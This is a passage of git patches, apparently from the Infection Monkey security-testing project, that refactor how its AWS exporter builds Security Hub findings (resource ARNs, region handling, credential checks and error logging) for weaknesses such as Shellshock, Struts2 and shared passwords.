AWSExporter(Exporter): } }} + if 'aws_instance_id' in issue: + finding["Resources"] = [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }] + else: + finding["Resources"] = [{'Type': 'Other'}] + return finding @staticmethod @@ -241,10 +273,7 @@ class AWSExporter(Exporter): {"Severity": { "Product": 1, "Normalized": 100 - }, "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], "RecordState": "ACTIVE", + }, "RecordState": "ACTIVE", "Title": "Weak segmentation - Machines from different segments are able to communicate.", "Description": "Segment your network and make sure there is no communication between machines from different segments.", "Remediation": { @@ -257,6 +286,14 @@ class AWSExporter(Exporter): } }} + if 'aws_instance_id' in issue: + finding["Resources"] = [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }] + else: + finding["Resources"] = [{'Type': 'Other'}] + return finding @staticmethod @@ -265,10 +302,7 @@ class AWSExporter(Exporter): {"Severity": { "Product": 1, "Normalized": 100 - }, "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], "RecordState": "ACTIVE", "Title": "Multiple users have the same password", + }, "RecordState": "ACTIVE", "Title": "Multiple users have the same password", "Description": "Some users are sharing passwords, this should be fixed by changing passwords.", "Remediation": { "Recommendation": { @@ -276,6 +310,14 @@ class AWSExporter(Exporter): } }} + if 'aws_instance_id' in issue: + finding["Resources"] = [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }] + else: + finding["Resources"] = [{'Type': 'Other'}] + return finding @staticmethod @@ -284,10 +326,7 @@ class AWSExporter(Exporter): {"Severity": { "Product": 10, "Normalized": 100 - }, "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], "RecordState": "ACTIVE", "Title": "Machines are vulnerable to 'Shellshock'", + }, "RecordState": "ACTIVE", "Title": "Machines are vulnerable to 'Shellshock'", "Description": "Update your Bash to a ShellShock-patched version.", "Remediation": { "Recommendation": { "Text": "The machine {0} ({1}) is vulnerable to a ShellShock attack. " @@ -296,6 +335,14 @@ class AWSExporter(Exporter): } }} + if 'aws_instance_id' in issue: + finding["Resources"] = [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }] + else: + finding["Resources"] = [{'Type': 'Other'}] + return finding @staticmethod @@ -304,10 +351,7 @@ class AWSExporter(Exporter): {"Severity": { "Product": 1, "Normalized": 100 - }, "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], "RecordState": "ACTIVE", + }, "RecordState": "ACTIVE", "Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.", "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( issue['username']), "Remediation": { @@ -317,6 +361,14 @@ class AWSExporter(Exporter): } }} + if 'aws_instance_id' in issue: + finding["Resources"] = [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }] + else: + finding["Resources"] = [{'Type': 'Other'}] + return finding @staticmethod @@ -325,10 +377,7 @@ class AWSExporter(Exporter): {"Severity": { "Product": 1, "Normalized": 100 - }, "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], "RecordState": "ACTIVE", + }, "RecordState": "ACTIVE", "Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.", "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.", "Remediation": { @@ -338,6 +387,14 @@ class AWSExporter(Exporter): } }} + if 'aws_instance_id' in issue: + finding["Resources"] = [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }] + else: + finding["Resources"] = [{'Type': 'Other'}] + return finding @staticmethod @@ -346,10 +403,7 @@ class AWSExporter(Exporter): {"Severity": { "Product": 1, "Normalized": 100 - }, "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], "RecordState": "ACTIVE", + }, "RecordState": "ACTIVE", "Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.", "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( issue['username']), "Remediation": { @@ -359,6 +413,14 @@ class AWSExporter(Exporter): } }} + if 'aws_instance_id' in issue: + finding["Resources"] = [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }] + else: + finding["Resources"] = [{'Type': 'Other'}] + return finding @staticmethod @@ -367,10 +429,7 @@ class AWSExporter(Exporter): {"Severity": { "Product": 1, "Normalized": 100 - }, "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], "RecordState": "ACTIVE", + }, "RecordState": "ACTIVE", "Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.", "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( issue['username']), "Remediation": { @@ -380,6 +439,14 @@ class AWSExporter(Exporter): } }} + if 'aws_instance_id' in issue: + finding["Resources"] = [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }] + else: + finding["Resources"] = [{'Type': 'Other'}] + return finding @staticmethod @@ -388,10 +455,7 @@ class AWSExporter(Exporter): {"Severity": { "Product": 1, "Normalized": 100 - }, "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], "RecordState": "ACTIVE", "Title": "Multiple users have the same password.", + }, "RecordState": "ACTIVE", "Title": "Multiple users have the same password.", "Description": "Some domain users are sharing passwords, this should be fixed by changing passwords.", "Remediation": { "Recommendation": { @@ -400,6 +464,14 @@ class AWSExporter(Exporter): } }} + if 'aws_instance_id' in issue: + finding["Resources"] = [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }] + else: + finding["Resources"] = [{'Type': 'Other'}] + return finding @staticmethod @@ -408,10 +480,7 @@ class AWSExporter(Exporter): {"Severity": { "Product": 1, "Normalized": 100 - }, "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], "RecordState": "ACTIVE", + }, "RecordState": "ACTIVE", "Title": "Shared local administrator account - Different machines have the same account as a local administrator.", "Description": "Make sure the right administrator accounts are managing the right machines, and that there isn\'t an unintentional local admin sharing.", "Remediation": { @@ -421,6 +490,14 @@ class AWSExporter(Exporter): } }} + if 'aws_instance_id' in issue: + finding["Resources"] = [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }] + else: + finding["Resources"] = [{'Type': 'Other'}] + return finding @staticmethod @@ -429,10 +506,7 @@ class AWSExporter(Exporter): {"Severity": { "Product": 1, "Normalized": 100 - }, "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], "RecordState": "ACTIVE", + }, "RecordState": "ACTIVE", "Title": "Mimikatz found login credentials of a user who has admin access to a server defined as critical.", "Description": "This critical machine is open to attacks via strong users with access to it.", "Remediation": { @@ -442,6 +516,14 @@ class AWSExporter(Exporter): } }} + if 'aws_instance_id' in issue: + finding["Resources"] = [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }] + else: + finding["Resources"] = [{'Type': 'Other'}] + return finding @staticmethod @@ -450,10 +532,7 @@ class AWSExporter(Exporter): {"Severity": { "Product": 10, "Normalized": 100 - }, "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], "RecordState": "ACTIVE", "Title": "Struts2 servers are vulnerable to remote code execution.", + }, "RecordState": "ACTIVE", "Title": "Struts2 servers are vulnerable to remote code execution.", "Description": "Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.", "Remediation": { "Recommendation": { "Text": "Struts2 server at {machine} ({ip_address}) is vulnerable to remote code execution attack." @@ -462,6 +541,14 @@ class AWSExporter(Exporter): } }} + if 'aws_instance_id' in issue: + finding["Resources"] = [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }] + else: + finding["Resources"] = [{'Type': 'Other'}] + return finding @staticmethod @@ -470,10 +557,7 @@ class AWSExporter(Exporter): {"Severity": { "Product": 10, "Normalized": 100 - }, "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], "RecordState": "ACTIVE", "Title": "Oracle WebLogic servers are vulnerable to remote code execution.", + }, "RecordState": "ACTIVE", "Title": "Oracle WebLogic servers are vulnerable to remote code execution.", "Description": "Install Oracle critical patch updates. Or update to the latest version. " \ "Vulnerable versions are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.", "Remediation": { @@ -484,6 +568,14 @@ class AWSExporter(Exporter): } }} + if 'aws_instance_id' in issue: + finding["Resources"] = [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }] + else: + finding["Resources"] = [{'Type': 'Other'}] + return finding @staticmethod @@ -492,10 +584,7 @@ class AWSExporter(Exporter): {"Severity": { "Product": 10, "Normalized": 100 - }, "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], "RecordState": "ACTIVE", "Title": "Hadoop/Yarn servers are vulnerable to remote code execution.", + }, "RecordState": "ACTIVE", "Title": "Hadoop/Yarn servers are vulnerable to remote code execution.", "Description": "Run Hadoop in secure mode, add Kerberos authentication.", "Remediation": { "Recommendation": { "Text": "The Hadoop server at {machine} ({ip_address}) is vulnerable to remote code execution attack." @@ -503,4 +592,12 @@ class AWSExporter(Exporter): } }} + if 'aws_instance_id' in issue: + finding["Resources"] = [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }] + else: + finding["Resources"] = [{'Type': 'Other'}] + return finding diff --git a/monkey/monkey_island/cc/server_config.json b/monkey/monkey_island/cc/server_config.json index 82211562f..3ca292587 100644 --- a/monkey/monkey_island/cc/server_config.json +++ b/monkey/monkey_island/cc/server_config.json @@ -1,6 +1,6 @@ { "server_config": "standard", "aws": { - "sec_hub_product_arn": "arn:aws:securityhub:eu-west-2:324264561773:product/guardicore/aws-infection-monkey" + "sec_hub_product_arn": "324264561773:product/guardicore/aws-infection-monkey" } } \ No newline at end of file From 8397af4c6b6ee2db5521aa9fde7a09cf5e16b2e1 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 28 Nov 2018 14:56:46 +0200 Subject: [PATCH 44/71] * Added region to finding sending configuration for boto3 --- .../monkey_island/cc/resources/aws_exporter.py | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index d98cececd..ab9c74185 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -20,7 +20,7 @@ class AWSExporter(Exporter): @staticmethod def handle_report(report_json): - + aws = AWS() findings_list = [] issues_list = report_json['recommendations']['issues'] if not issues_list: @@ -29,9 +29,9 @@ class AWSExporter(Exporter): for machine in issues_list: for issue in issues_list[machine]: if issue.get('aws_instance_id', None): - findings_list.append(AWSExporter._prepare_finding(issue)) + findings_list.append(AWSExporter._prepare_finding(issue, aws.get_region())) - if not AWSExporter._send_findings(findings_list, AWSExporter._get_aws_keys()): + if not AWSExporter._send_findings(findings_list, AWSExporter._get_aws_keys(), aws.get_region()): logger.error('Exporting findings to aws failed') return False @@ -52,7 +52,7 @@ class AWSExporter(Exporter): return z @staticmethod - def _prepare_finding(issue): + def _prepare_finding(issue, region): findings_dict = { 'island_cross_segment': AWSExporter._handle_island_cross_segment_issue, 'ssh': AWSExporter._handle_ssh_issue, @@ -76,9 +76,8 @@ class AWSExporter(Exporter): # azure and conficker are not relevant issues for an AWS env } - aws = AWS() configured_product_arn = load_server_configuration_from_file()['aws'].get('sec_hub_product_arn', '') - product_arn = 'arn:aws:securityhub:{region}:{arn}'.format(region=aws.get_region(), arn=configured_product_arn) + product_arn = 'arn:aws:securityhub:{region}:{arn}'.format(region=region, arn=configured_product_arn) account_id = AWSExporter._get_aws_keys().get('aws_account_id', '') finding = { @@ -96,11 +95,12 @@ class AWSExporter(Exporter): return AWSExporter.merge_two_dicts(finding, findings_dict[issue['type']](issue)) @staticmethod - def _send_findings(findings_list, creds_dict): + def _send_findings(findings_list, creds_dict, region): try: securityhub = boto3.client('securityhub', aws_access_key_id=creds_dict.get('aws_access_key_id', ''), - aws_secret_access_key=creds_dict.get('aws_secret_access_key', '')) + aws_secret_access_key=creds_dict.get('aws_secret_access_key', ''), + region_name=region) import_response = securityhub.batch_import_findings(Findings=findings_list) print import_response From 0fe7a9c6e1027aa4727bc23e1aae7f0c9d01f568 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 28 Nov 2018 15:02:17 +0200 Subject: [PATCH 45/71] * Match it back to aws env --- monkey/monkey_island/cc/services/report.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 09e12edcd..b89266cad 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -754,7 +754,7 @@ class ReportService: def get_active_exporters(): # This function should be in another module in charge of building a list of active exporters exporters_list = [] - if str(load_env_from_file()) == 'standard': + if str(load_env_from_file()) == AWS: exporters_list.append(AWSExporter) return exporters_list From 9d36cf399008e2319db7945630177bb3ab247d6d Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 28 Nov 2018 15:30:46 +0200 Subject: [PATCH 46/71] * add the right key in telemetry * added error handling in report.py --- monkey/monkey_island/cc/resources/telemetry.py | 3 ++- monkey/monkey_island/cc/services/report.py | 6 +++++- 2 files changed, 7 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index ab911a119..c5d9ef8a6 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -192,7 +192,8 @@ class Telemetry(flask_restful.Resource): wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets) wmi_handler.process_and_handle_wmi_info() if 'aws' in telemetry_json['data']: - mongo.db.monkey.update_one({'_id': monkey_id}, {'aws_instance_id': telemetry_json['data']['instance-id']}) + mongo.db.monkey.update_one({'_id': monkey_id}, + {'aws_instance_id': telemetry_json['data']['aws']['instance-id']}) @staticmethod def add_ip_to_ssh_keys(ip, ssh_info): diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index b89266cad..3120194a3 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -553,7 +553,11 @@ class ReportService: @staticmethod def get_machine_aws_instance_id(hostname): - return str(list(mongo.db.monkey.find({'hostname': hostname}, {'aws_instance_id': 1}))[0].get('aws_instance_id', None)) + aws_instance_id_list = list(mongo.db.monkey.find({'hostname': hostname}, {'aws_instance_id': 1})) + if aws_instance_id_list: + return str(aws_instance_id_list[0].get('aws_instance_id', None)) + else: + return None @staticmethod def get_issues(): From 25340e99986e9776a4e24b853e2d2986d73c514a Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 28 Nov 2018 17:05:10 +0200 Subject: [PATCH 47/71] * Deleted print statement * Added further inspection in telemtry --- monkey/monkey_island/cc/resources/aws_exporter.py | 1 - monkey/monkey_island/cc/resources/telemetry.py | 5 +++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index ab9c74185..a3ee0309a 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -103,7 +103,6 @@ class AWSExporter(Exporter): region_name=region) import_response = securityhub.batch_import_findings(Findings=findings_list) - print import_response if import_response['ResponseMetadata']['HTTPStatusCode'] == 200: return True else: diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index c5d9ef8a6..581cbf3dc 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -192,8 +192,9 @@ class Telemetry(flask_restful.Resource): wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets) wmi_handler.process_and_handle_wmi_info() if 'aws' in telemetry_json['data']: - mongo.db.monkey.update_one({'_id': monkey_id}, - {'aws_instance_id': telemetry_json['data']['aws']['instance-id']}) + if 'instance-id' in telemetry_json['data']['aws']: + mongo.db.monkey.update_one({'_id': monkey_id}, + {'aws_instance_id': telemetry_json['data']['aws']['instance-id']}) @staticmethod def add_ip_to_ssh_keys(ip, ssh_info): From 1c99636414769d2e405b3dbf56e504821a299bc7 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 28 Nov 2018 17:40:32 +0200 Subject: [PATCH 48/71] * Changed the resource id to be instance arn and not only instance id --- .../cc/resources/aws_exporter.py | 81 ++++++++++--------- 1 file changed, 41 insertions(+), 40 deletions(-) diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index a3ee0309a..412b8390a 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -77,7 +77,8 @@ class AWSExporter(Exporter): } configured_product_arn = load_server_configuration_from_file()['aws'].get('sec_hub_product_arn', '') - product_arn = 'arn:aws:securityhub:{region}:{arn}'.format(region=region, arn=configured_product_arn) + product_arn = 'arn:aws:securityhub:{region}:{arn}'.format(region='us-west-2', arn=configured_product_arn) + instance_arn = 'arn:aws:ec2:' + region + ':instance:{instance_id}' account_id = AWSExporter._get_aws_keys().get('aws_account_id', '') finding = { @@ -92,7 +93,7 @@ class AWSExporter(Exporter): "CreatedAt": datetime.now().isoformat() + 'Z', "UpdatedAt": datetime.now().isoformat() + 'Z', } - return AWSExporter.merge_two_dicts(finding, findings_dict[issue['type']](issue)) + return AWSExporter.merge_two_dicts(finding, findings_dict[issue['type']](issue, instance_arn)) @staticmethod def _send_findings(findings_list, creds_dict, region): @@ -115,7 +116,7 @@ class AWSExporter(Exporter): return False @staticmethod - def _handle_tunnel_issue(issue): + def _handle_tunnel_issue(issue, instance_arn): finding = \ {"Severity": { "Product": 5, @@ -133,7 +134,7 @@ class AWSExporter(Exporter): if 'aws_instance_id' in issue: finding["Resources"] = [{ "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] + "Id": instance_arn.format(instance_id=issue['aws_instance_id']) }] else: finding["Resources"] = [{'Type': 'Other'}] @@ -141,7 +142,7 @@ class AWSExporter(Exporter): return finding @staticmethod - def _handle_sambacry_issue(issue): + def _handle_sambacry_issue(issue, instance_arn): finding = \ {"Severity": { "Product": 10, @@ -158,7 +159,7 @@ class AWSExporter(Exporter): if 'aws_instance_id' in issue: finding["Resources"] = [{ "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] + "Id": instance_arn.format(instance_id=issue['aws_instance_id']) }] else: finding["Resources"] = [{'Type': 'Other'}] @@ -166,7 +167,7 @@ class AWSExporter(Exporter): return finding @staticmethod - def _handle_smb_pth_issue(issue): + def _handle_smb_pth_issue(issue, instance_arn): finding = \ {"Severity": { "Product": 5, @@ -184,7 +185,7 @@ class AWSExporter(Exporter): if 'aws_instance_id' in issue: finding["Resources"] = [{ "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] + "Id": instance_arn.format(instance_id=issue['aws_instance_id']) }] else: finding["Resources"] = [{'Type': 'Other'}] @@ -192,7 +193,7 @@ class AWSExporter(Exporter): return finding @staticmethod - def _handle_ssh_issue(issue): + def _handle_ssh_issue(issue, instance_arn): finding = \ {"Severity": { "Product": 1, @@ -210,7 +211,7 @@ class AWSExporter(Exporter): if 'aws_instance_id' in issue: finding["Resources"] = [{ "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] + "Id": instance_arn.format(instance_id=issue['aws_instance_id']) }] else: finding["Resources"] = [{'Type': 'Other'}] @@ -218,7 +219,7 @@ class AWSExporter(Exporter): return finding @staticmethod - def _handle_ssh_key_issue(issue): + def _handle_ssh_key_issue(issue, instance_arn): finding = \ {"Severity": { "Product": 1, @@ -236,14 +237,14 @@ class AWSExporter(Exporter): if 'aws_instance_id' in issue: finding["Resources"] = [{ "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] + "Id": instance_arn.format(instance_id=issue['aws_instance_id']) }] else: finding["Resources"] = [{'Type': 'Other'}] return finding @staticmethod - def _handle_elastic_issue(issue): + def _handle_elastic_issue(issue, instance_arn): finding = \ {"Severity": { "Product": 10, @@ -259,7 +260,7 @@ class AWSExporter(Exporter): if 'aws_instance_id' in issue: finding["Resources"] = [{ "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] + "Id": instance_arn.format(instance_id=issue['aws_instance_id']) }] else: finding["Resources"] = [{'Type': 'Other'}] @@ -267,7 +268,7 @@ class AWSExporter(Exporter): return finding @staticmethod - def _handle_island_cross_segment_issue(issue): + def _handle_island_cross_segment_issue(issue, instance_arn): finding = \ {"Severity": { "Product": 1, @@ -288,7 +289,7 @@ class AWSExporter(Exporter): if 'aws_instance_id' in issue: finding["Resources"] = [{ "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] + "Id": instance_arn.format(instance_id=issue['aws_instance_id']) }] else: finding["Resources"] = [{'Type': 'Other'}] @@ -296,7 +297,7 @@ class AWSExporter(Exporter): return finding @staticmethod - def _handle_shared_passwords_issue(issue): + def _handle_shared_passwords_issue(issue, instance_arn): finding = \ {"Severity": { "Product": 1, @@ -312,7 +313,7 @@ class AWSExporter(Exporter): if 'aws_instance_id' in issue: finding["Resources"] = [{ "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] + "Id": instance_arn.format(instance_id=issue['aws_instance_id']) }] else: finding["Resources"] = [{'Type': 'Other'}] @@ -320,7 +321,7 @@ class AWSExporter(Exporter): return finding @staticmethod - def _handle_shellshock_issue(issue): + def _handle_shellshock_issue(issue, instance_arn): finding = \ {"Severity": { "Product": 10, @@ -337,7 +338,7 @@ class AWSExporter(Exporter): if 'aws_instance_id' in issue: finding["Resources"] = [{ "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] + "Id": instance_arn.format(instance_id=issue['aws_instance_id']) }] else: finding["Resources"] = [{'Type': 'Other'}] @@ -345,7 +346,7 @@ class AWSExporter(Exporter): return finding @staticmethod - def _handle_smb_password_issue(issue): + def _handle_smb_password_issue(issue, instance_arn): finding = \ {"Severity": { "Product": 1, @@ -363,7 +364,7 @@ class AWSExporter(Exporter): if 'aws_instance_id' in issue: finding["Resources"] = [{ "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] + "Id": instance_arn.format(instance_id=issue['aws_instance_id']) }] else: finding["Resources"] = [{'Type': 'Other'}] @@ -371,7 +372,7 @@ class AWSExporter(Exporter): return finding @staticmethod - def _handle_wmi_password_issue(issue): + def _handle_wmi_password_issue(issue, instance_arn): finding = \ {"Severity": { "Product": 1, @@ -389,7 +390,7 @@ class AWSExporter(Exporter): if 'aws_instance_id' in issue: finding["Resources"] = [{ "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] + "Id": instance_arn.format(instance_id=issue['aws_instance_id']) }] else: finding["Resources"] = [{'Type': 'Other'}] @@ -397,7 +398,7 @@ class AWSExporter(Exporter): return finding @staticmethod - def _handle_wmi_pth_issue(issue): + def _handle_wmi_pth_issue(issue, instance_arn): finding = \ {"Severity": { "Product": 1, @@ -415,7 +416,7 @@ class AWSExporter(Exporter): if 'aws_instance_id' in issue: finding["Resources"] = [{ "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] + "Id": instance_arn.format(instance_id=issue['aws_instance_id']) }] else: finding["Resources"] = [{'Type': 'Other'}] @@ -423,7 +424,7 @@ class AWSExporter(Exporter): return finding @staticmethod - def _handle_rdp_issue(issue): + def _handle_rdp_issue(issue, instance_arn): finding = \ {"Severity": { "Product": 1, @@ -441,7 +442,7 @@ class AWSExporter(Exporter): if 'aws_instance_id' in issue: finding["Resources"] = [{ "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] + "Id": instance_arn.format(instance_id=issue['aws_instance_id']) }] else: finding["Resources"] = [{'Type': 'Other'}] @@ -449,7 +450,7 @@ class AWSExporter(Exporter): return finding @staticmethod - def _handle_shared_passwords_domain_issue(issue): + def _handle_shared_passwords_domain_issue(issue, instance_arn): finding = \ {"Severity": { "Product": 1, @@ -466,7 +467,7 @@ class AWSExporter(Exporter): if 'aws_instance_id' in issue: finding["Resources"] = [{ "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] + "Id": instance_arn.format(instance_id=issue['aws_instance_id']) }] else: finding["Resources"] = [{'Type': 'Other'}] @@ -474,7 +475,7 @@ class AWSExporter(Exporter): return finding @staticmethod - def _handle_shared_admins_domain_issue(issue): + def _handle_shared_admins_domain_issue(issue, instance_arn): finding = \ {"Severity": { "Product": 1, @@ -492,7 +493,7 @@ class AWSExporter(Exporter): if 'aws_instance_id' in issue: finding["Resources"] = [{ "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] + "Id": instance_arn.format(instance_id=issue['aws_instance_id']) }] else: finding["Resources"] = [{'Type': 'Other'}] @@ -500,7 +501,7 @@ class AWSExporter(Exporter): return finding @staticmethod - def _handle_strong_users_on_crit_issue(issue): + def _handle_strong_users_on_crit_issue(issue, instance_arn): finding = \ {"Severity": { "Product": 1, @@ -518,7 +519,7 @@ class AWSExporter(Exporter): if 'aws_instance_id' in issue: finding["Resources"] = [{ "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] + "Id": instance_arn.format(instance_id=issue['aws_instance_id']) }] else: finding["Resources"] = [{'Type': 'Other'}] @@ -526,7 +527,7 @@ class AWSExporter(Exporter): return finding @staticmethod - def _handle_struts2_issue(issue): + def _handle_struts2_issue(issue, instance_arn): finding = \ {"Severity": { "Product": 10, @@ -543,7 +544,7 @@ class AWSExporter(Exporter): if 'aws_instance_id' in issue: finding["Resources"] = [{ "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] + "Id": instance_arn.format(instance_id=issue['aws_instance_id']) }] else: finding["Resources"] = [{'Type': 'Other'}] @@ -551,7 +552,7 @@ class AWSExporter(Exporter): return finding @staticmethod - def _handle_weblogic_issue(issue): + def _handle_weblogic_issue(issue, instance_arn): finding = \ {"Severity": { "Product": 10, @@ -570,7 +571,7 @@ class AWSExporter(Exporter): if 'aws_instance_id' in issue: finding["Resources"] = [{ "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] + "Id": instance_arn.format(instance_id=issue['aws_instance_id']) }] else: finding["Resources"] = [{'Type': 'Other'}] @@ -578,7 +579,7 @@ class AWSExporter(Exporter): return finding @staticmethod - def _handle_hadoop_issue(issue): + def _handle_hadoop_issue(issue, instance_arn): finding = \ {"Severity": { "Product": 10, @@ -594,7 +595,7 @@ class AWSExporter(Exporter): if 'aws_instance_id' in issue: finding["Resources"] = [{ "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] + "Id": instance_arn.format(instance_id=issue['aws_instance_id']) }] else: finding["Resources"] = [{'Type': 'Other'}] From e24e9b90f7e6d327abe115b94d34eb3c862105a8 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 28 Nov 2018 18:54:50 +0200 Subject: [PATCH 49/71] * Added fallback case for urllib failure to get the region * Added some safe checks for formatting and happy flows * Removed productARN from server_config.json - it will now be inserted in deb build. * Added the awscli lib to be installed via pip --- monkey/common/cloud/aws.py | 1 + monkey/monkey_island/cc/resources/aws_exporter.py | 12 ++++++++---- monkey/monkey_island/cc/server_config.json | 5 +---- .../deb-package/monkey_island_pip_requirements.txt | 1 + 4 files changed, 11 insertions(+), 8 deletions(-) diff --git a/monkey/common/cloud/aws.py b/monkey/common/cloud/aws.py index 90267bca7..7937815ef 100644 --- a/monkey/common/cloud/aws.py +++ b/monkey/common/cloud/aws.py @@ -10,6 +10,7 @@ class AWS(object): self.region = urllib2.urlopen('http://169.254.169.254/latest/meta-data/placement/availability-zone').read()[:-1] except urllib2.URLError: self.instance_id = None + self.region = None def get_instance_id(self): return self.instance_id diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index 412b8390a..735de6584 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -77,8 +77,8 @@ class AWSExporter(Exporter): } configured_product_arn = load_server_configuration_from_file()['aws'].get('sec_hub_product_arn', '') - product_arn = 'arn:aws:securityhub:{region}:{arn}'.format(region='us-west-2', arn=configured_product_arn) - instance_arn = 'arn:aws:ec2:' + region + ':instance:{instance_id}' + product_arn = 'arn:aws:securityhub:{region}:{arn}'.format(region=region, arn=configured_product_arn) + instance_arn = 'arn:aws:ec2:' + str(region) + ':instance:{instance_id}' account_id = AWSExporter._get_aws_keys().get('aws_account_id', '') finding = { @@ -98,6 +98,10 @@ class AWSExporter(Exporter): @staticmethod def _send_findings(findings_list, creds_dict, region): try: + if not creds_dict: + logger.info('No AWS access credentials received in configuration') + return False + securityhub = boto3.client('securityhub', aws_access_key_id=creds_dict.get('aws_access_key_id', ''), aws_secret_access_key=creds_dict.get('aws_secret_access_key', ''), @@ -109,10 +113,10 @@ class AWSExporter(Exporter): else: return False except UnknownServiceError as e: - logger.warning('AWS exporter called but AWS-CLI not installed') + logger.warning('AWS exporter called but AWS-CLI securityhub service is not installed') return False except Exception as e: - logger.error('AWS security hub findings failed to send.') + logger.exception('AWS security hub findings failed to send.') return False @staticmethod diff --git a/monkey/monkey_island/cc/server_config.json b/monkey/monkey_island/cc/server_config.json index 